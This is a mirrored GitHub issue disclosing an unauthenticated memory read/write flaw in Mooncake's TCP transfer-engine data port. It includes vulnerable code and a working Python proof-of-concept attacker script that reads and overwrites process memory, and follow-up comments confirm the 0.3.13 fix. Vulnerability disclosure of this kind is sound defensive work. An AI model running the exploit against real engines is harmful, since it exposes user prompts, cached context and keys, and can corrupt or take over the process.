kvcache-ai/Mooncake

Fork 0

mirror of https://github.com/kvcache-ai/Mooncake.git synced 2026-11-05 01:17:55 +00:00

[GH-ISSUE #4441] [Bug]: Unauthenticated arbitrary memory read and write in Mooncake TCP transport data plane #1121

New issue

Open

opened 2026-10-29 21:23:05 +00:00 by bsakaguchi · 2 comments

bsakaguchi commented

2026-10-29 21:23:05 +00:00

Owner

Originally created by @yyymk on GitHub (Oct 1, 2026).
Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4441

Bug Report

Summary

The TCP transport of mooncake-transfer-engine serves a raw memory access protocol on its data port without any authentication or address validation. Any host that can reach the port can read and write arbitrary memory of the engine process, including memory outside any registered buffer. Runtime-confirmed on mooncake-transfer-engine 0.3.11.post1. The fix in 0.3.13 (commit a2933849417259e562fc9cbad63c618d464dfb2d) added address validation against registered buffers. Suggested severity: High, CVSS 8.8.

Details

TcpTransport::install (src/transport/tcp_transport/tcp_transport.cpp) opens a data listener via findAvailableTcpPort, which picks a random port from the documented default range 15000-17000 (GlobalConfig::rpc_min_port/rpc_max_port in include/config.h) and binds on all interfaces.

The server side of the protocol is ServerSession. The wire header is a plain C struct, not packed, so it is 24 bytes on the wire:

struct SessionHeader {
    uint64_t size;
    uint64_t addr;
    uint8_t opcode;
};

In ServerSession::readHeader the address field from the network is used directly as a local pointer:

local_buffer_ = (char*)(le64toh(header_.addr));
if (header_.opcode == (uint8_t)TransferRequest::WRITE)
    readBody();
else
    writeBody();

readBody receives size bytes from the socket into addr + total_transferred_bytes_. writeBody sends size bytes of process memory starting at addr back to the peer. There is no peer authentication, addr/size are never checked against the local segment descriptor's registered buffers, size is unbounded, and the connection is persistent, so several requests can be pipelined over one connection.

0.3.13 wires a validateTcpAddress callback into the session and rejects addresses outside registered buffers in both directions. That confines the primitive to registered memory; the port still has no peer authentication.

PoC

Environment: Linux x86_64, Python 3.11, pip install mooncake-transfer-engine==0.3.11.post1. Run both scripts on machines that can reach each other; use the victim host's real IP, not 127.0.0.1.

Victim (registers a canary buffer, also allocates a second buffer it never registers):

# victim.py
import ctypes, time
from mooncake.engine import TransferEngine

HOST = "192.168.105.123"  # victim host IP

reg = ctypes.create_string_buffer(65536)
nonreg = ctypes.create_string_buffer(65536)
ctypes.memmove(reg, b"C4CANARY" + b"A" * 56, 64)
ctypes.memmove(nonreg, b"C4NONREG" + b"B" * 56, 64)

te = TransferEngine()
assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0
assert te.register_memory(ctypes.addressof(reg), 65536) == 0
print("reg_addr =", ctypes.addressof(reg), flush=True)
print("nonreg_addr =", ctypes.addressof(nonreg), flush=True)
print("rpc_port =", te.get_rpc_port(), flush=True)
time.sleep(3600)

Run it with GLOG_logtostderr=1 MC_FORCE_TCP=1 python victim.py 2> victim.log, then read the data port from the log line TcpTransport: listen on port <N>.

Attacker:

# attacker.py
import socket, struct, time

HOST, DATA_PORT = "192.168.105.123", 16662
REG_ADDR = 0x5A89CC2E05A0        # reg_addr printed by victim
NONREG_ADDR = 0x5A89CC3E05A0     # nonreg_addr printed by victim

def hdr(size, addr, opcode):
    return struct.pack("<QQB", size, addr, opcode) + b"\x00" * 7  # 24 bytes, struct not packed

def read_mem(addr, size):
    s = socket.create_connection((HOST, DATA_PORT))
    s.sendall(hdr(size, addr, 0))
    out = b""
    while len(out) < size:
        chunk = s.recv(65536)
        if not chunk:
            break
        out += chunk
    s.close()
    return out

def write_mem(addr, data):
    s = socket.create_connection((HOST, DATA_PORT))
    s.sendall(hdr(len(data), addr, 1))
    s.sendall(data)
    time.sleep(1)
    s.close()

print(read_mem(REG_ADDR, 64))      # b'C4CANARY' + b'A'*56   -> arbitrary read, registered buffer
print(read_mem(NONREG_ADDR, 64))   # b'C4NONREG' + b'B'*56   -> read outside any registered buffer
write_mem(REG_ADDR, b"ATTACKER_BYTES" + b"C" * 51)
print(read_mem(REG_ADDR, 64))      # b'ATTACKER_BYTES'...    -> arbitrary write
write_mem(NONREG_ADDR, b"ATTACKER_BYTES" + b"D" * 51)        # write outside any registered buffer

Observed on 0.3.11.post1: both reads return the canaries byte for byte (RTT ~0.2 ms), both writes replace the buffer contents, and the victim process stays alive throughout. A control connection that connects and closes, and 100 bytes of garbage sent to the handshake RPC port, also leave the victim alive. A read or write against an unmapped address such as 0x10 does not kill the process: the kernel returns EFAULT to the socket call and the session aborts, so the demonstrated primitive is read/write of mapped memory, not a one-packet crash.

Impact

This is a missing-authorization issue (CWE-306) on the engine data plane. The attacker needs no credentials, only network reachability to the TCP data port of an engine process. Deployments running the TCP transport (hosts without an RDMA NIC, or MC_FORCE_TCP=1) bind it on all interfaces by default; the port is trivially discoverable because it always falls in the documented 15000-17000 range.

Confidentiality: full process memory disclosure. In an sglang or vLLM deployment the hosting process is the scheduler/EngineCore, so the KV cache including user prompts and context, Python heap objects, keys and pointer chains can be dumped. Integrity: an attacker-controlled write anywhere in the process, including memory outside registered buffers, gives data corruption up to code execution in the engine process. Availability: overwriting mapped memory corrupts the hosting engine process. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (8.8). Affected: mooncake-transfer-engine <= 0.3.12.post1; patched in 0.3.13.

Before submitting...

Ensure you searched for relevant issues and read the [documentation]

Originally created by @yyymk on GitHub (Oct 1, 2026). Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4441 ### Bug Report ### Summary The TCP transport of mooncake-transfer-engine serves a raw memory access protocol on its data port without any authentication or address validation. Any host that can reach the port can read and write arbitrary memory of the engine process, including memory outside any registered buffer. Runtime-confirmed on mooncake-transfer-engine 0.3.11.post1. The fix in 0.3.13 (commit `a2933849417259e562fc9cbad63c618d464dfb2d`) added address validation against registered buffers. Suggested severity: High, CVSS 8.8. ### Details `TcpTransport::install` (src/transport/tcp_transport/tcp_transport.cpp) opens a data listener via `findAvailableTcpPort`, which picks a random port from the documented default range 15000-17000 (`GlobalConfig::rpc_min_port`/`rpc_max_port` in include/config.h) and binds on all interfaces. The server side of the protocol is `ServerSession`. The wire header is a plain C struct, not packed, so it is 24 bytes on the wire: ```cpp struct SessionHeader { uint64_t size; uint64_t addr; uint8_t opcode; }; ``` In `ServerSession::readHeader` the address field from the network is used directly as a local pointer: ```cpp local_buffer_ = (char*)(le64toh(header_.addr)); if (header_.opcode == (uint8_t)TransferRequest::WRITE) readBody(); else writeBody(); ``` `readBody` receives `size` bytes from the socket into `addr + total_transferred_bytes_`. `writeBody` sends `size` bytes of process memory starting at `addr` back to the peer. There is no peer authentication, `addr`/`size` are never checked against the local segment descriptor's registered buffers, `size` is unbounded, and the connection is persistent, so several requests can be pipelined over one connection. 0.3.13 wires a `validateTcpAddress` callback into the session and rejects addresses outside registered buffers in both directions. That confines the primitive to registered memory; the port still has no peer authentication. ### PoC Environment: Linux x86_64, Python 3.11, `pip install mooncake-transfer-engine==0.3.11.post1`. Run both scripts on machines that can reach each other; use the victim host's real IP, not 127.0.0.1. Victim (registers a canary buffer, also allocates a second buffer it never registers): ```python # victim.py import ctypes, time from mooncake.engine import TransferEngine HOST = "192.168.105.123" # victim host IP reg = ctypes.create_string_buffer(65536) nonreg = ctypes.create_string_buffer(65536) ctypes.memmove(reg, b"C4CANARY" + b"A" * 56, 64) ctypes.memmove(nonreg, b"C4NONREG" + b"B" * 56, 64) te = TransferEngine() assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0 assert te.register_memory(ctypes.addressof(reg), 65536) == 0 print("reg_addr =", ctypes.addressof(reg), flush=True) print("nonreg_addr =", ctypes.addressof(nonreg), flush=True) print("rpc_port =", te.get_rpc_port(), flush=True) time.sleep(3600) ``` Run it with `GLOG_logtostderr=1 MC_FORCE_TCP=1 python victim.py 2> victim.log`, then read the data port from the log line `TcpTransport: listen on port <N>`. Attacker: ```python # attacker.py import socket, struct, time HOST, DATA_PORT = "192.168.105.123", 16662 REG_ADDR = 0x5A89CC2E05A0 # reg_addr printed by victim NONREG_ADDR = 0x5A89CC3E05A0 # nonreg_addr printed by victim def hdr(size, addr, opcode): return struct.pack("<QQB", size, addr, opcode) + b"\x00" * 7 # 24 bytes, struct not packed def read_mem(addr, size): s = socket.create_connection((HOST, DATA_PORT)) s.sendall(hdr(size, addr, 0)) out = b"" while len(out) < size: chunk = s.recv(65536) if not chunk: break out += chunk s.close() return out def write_mem(addr, data): s = socket.create_connection((HOST, DATA_PORT)) s.sendall(hdr(len(data), addr, 1)) s.sendall(data) time.sleep(1) s.close() print(read_mem(REG_ADDR, 64)) # b'C4CANARY' + b'A'*56 -> arbitrary read, registered buffer print(read_mem(NONREG_ADDR, 64)) # b'C4NONREG' + b'B'*56 -> read outside any registered buffer write_mem(REG_ADDR, b"ATTACKER_BYTES" + b"C" * 51) print(read_mem(REG_ADDR, 64)) # b'ATTACKER_BYTES'... -> arbitrary write write_mem(NONREG_ADDR, b"ATTACKER_BYTES" + b"D" * 51) # write outside any registered buffer ``` Observed on 0.3.11.post1: both reads return the canaries byte for byte (RTT ~0.2 ms), both writes replace the buffer contents, and the victim process stays alive throughout. A control connection that connects and closes, and 100 bytes of garbage sent to the handshake RPC port, also leave the victim alive. A read or write against an unmapped address such as 0x10 does not kill the process: the kernel returns EFAULT to the socket call and the session aborts, so the demonstrated primitive is read/write of mapped memory, not a one-packet crash. ### Impact This is a missing-authorization issue (CWE-306) on the engine data plane. The attacker needs no credentials, only network reachability to the TCP data port of an engine process. Deployments running the TCP transport (hosts without an RDMA NIC, or `MC_FORCE_TCP=1`) bind it on all interfaces by default; the port is trivially discoverable because it always falls in the documented 15000-17000 range. Confidentiality: full process memory disclosure. In an sglang or vLLM deployment the hosting process is the scheduler/EngineCore, so the KV cache including user prompts and context, Python heap objects, keys and pointer chains can be dumped. Integrity: an attacker-controlled write anywhere in the process, including memory outside registered buffers, gives data corruption up to code execution in the engine process. Availability: overwriting mapped memory corrupts the hosting engine process. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (8.8). Affected: mooncake-transfer-engine <= 0.3.12.post1; patched in 0.3.13. ### Before submitting... - [x] Ensure you searched for relevant issues and read the [documentation]

bsakaguchi added the

bug

label

2026-10-29 21:23:05 +00:00

bsakaguchi commented

2026-10-29 21:23:07 +00:00

Author

Owner

@github-actions[bot] commented on GitHub (Oct 1, 2026):

Thanks for opening this issue, @yyymk!

Field	Value
Issue	#4441
GitHub user ID	`133664083`
Reporter	@yyymk

A maintainer will triage this when possible. To help us respond faster, please include:

Mooncake version or commit SHA
Environment (OS, CUDA/driver, RDMA stack if relevant)
Steps to reproduce and expected vs. actual behavior

Useful links: Documentation · Contributing guide

This message was posted automatically by the issue bot.

@github-actions[bot] commented on GitHub (Oct 1, 2026): Thanks for opening this issue, @yyymk! | Field | Value | |-------|-------| | **Issue** | #4441 | | **GitHub user ID** | `133664083` | | **Reporter** | @yyymk | A maintainer will triage this when possible. To help us respond faster, please include: - Mooncake version or commit SHA - Environment (OS, CUDA/driver, RDMA stack if relevant) - Steps to reproduce and expected vs. actual behavior Useful links: [Documentation](https://kvcache-ai.github.io/Mooncake/) · [Contributing guide](https://github.com/kvcache-ai/Mooncake/blob/main/CONTRIBUTING.md) > This message was posted automatically by the issue bot.

bsakaguchi commented

2026-10-29 21:23:07 +00:00

Author

Owner

@he-yufeng commented on GitHub (Oct 2, 2026):

Took a look at where this stands on current main, since the report pins the vulnerable code exactly.

The unvalidated path the report describes is closed as of a2933849 (#2974, first shipped in v0.3.13). Current ServerSession::readHeader (mooncake-transfer-engine/src/transport/tcp_transport/tcp_transport_session_impl.h) now runs the remote-supplied addr/size through validate_addr_ before touching any body, on both opcodes:

validateTcpAddress (tcp_transport.cpp:301) requires [addr, addr+size) to be fully contained in one registered buffer of the local segment, with overflow checks on both the range and each buffer.
On rejection the session logs, replies kStatusAddrRejected to v2 initiators, and returns without entering readBody/writeBody. v1 initiators see the connection close.

So the "arbitrary process memory" part of the report does not reproduce against main or any v0.3.13+ tag: a peer can still reach the listener unauthenticated, but it can only read and write buffers the engine actually registered, which is the intended data-plane semantics of this protocol. Affected releases are the ≤0.3.12 line.

Two follow-ups worth the core team's call rather than mine:

A GitHub security advisory for the affected line. The vulnerable versions are still installable from PyPI, and the reporter already did the severity analysis (CVSS 8.8). An advisory would mostly need to state affected <0.3.13, fixed in 0.3.13, and the workaround (firewall the data port range to known peers).
Whether peer authentication on the data port belongs on the roadmap. That is a protocol design question (the handshake/metadata layer is where peer identity currently lives), not something to bolt onto this issue.

Happy to help draft the advisory text if the team wants one.

@he-yufeng commented on GitHub (Oct 2, 2026): Took a look at where this stands on current main, since the report pins the vulnerable code exactly. The unvalidated path the report describes is closed as of `a2933849` (#2974, first shipped in v0.3.13). Current `ServerSession::readHeader` (mooncake-transfer-engine/src/transport/tcp_transport/tcp_transport_session_impl.h) now runs the remote-supplied `addr`/`size` through `validate_addr_` before touching any body, on both opcodes: - `validateTcpAddress` (tcp_transport.cpp:301) requires `[addr, addr+size)` to be fully contained in one registered buffer of the local segment, with overflow checks on both the range and each buffer. - On rejection the session logs, replies `kStatusAddrRejected` to v2 initiators, and returns without entering `readBody`/`writeBody`. v1 initiators see the connection close. So the "arbitrary process memory" part of the report does not reproduce against main or any v0.3.13+ tag: a peer can still reach the listener unauthenticated, but it can only read and write buffers the engine actually registered, which is the intended data-plane semantics of this protocol. Affected releases are the ≤0.3.12 line. Two follow-ups worth the core team's call rather than mine: 1. A GitHub security advisory for the affected line. The vulnerable versions are still installable from PyPI, and the reporter already did the severity analysis (CVSS 8.8). An advisory would mostly need to state affected <0.3.13, fixed in 0.3.13, and the workaround (firewall the data port range to known peers). 2. Whether peer authentication on the data port belongs on the roadmap. That is a protocol design question (the handshake/metadata layer is where peer identity currently lives), not something to bolt onto this issue. Happy to help draft the advisory text if the team wants one.

bsakaguchi referenced this issue

2026-10-29 21:32:11 +00:00

[PR #1121] [MERGED] [store] add pybind for get_replica_desc #2023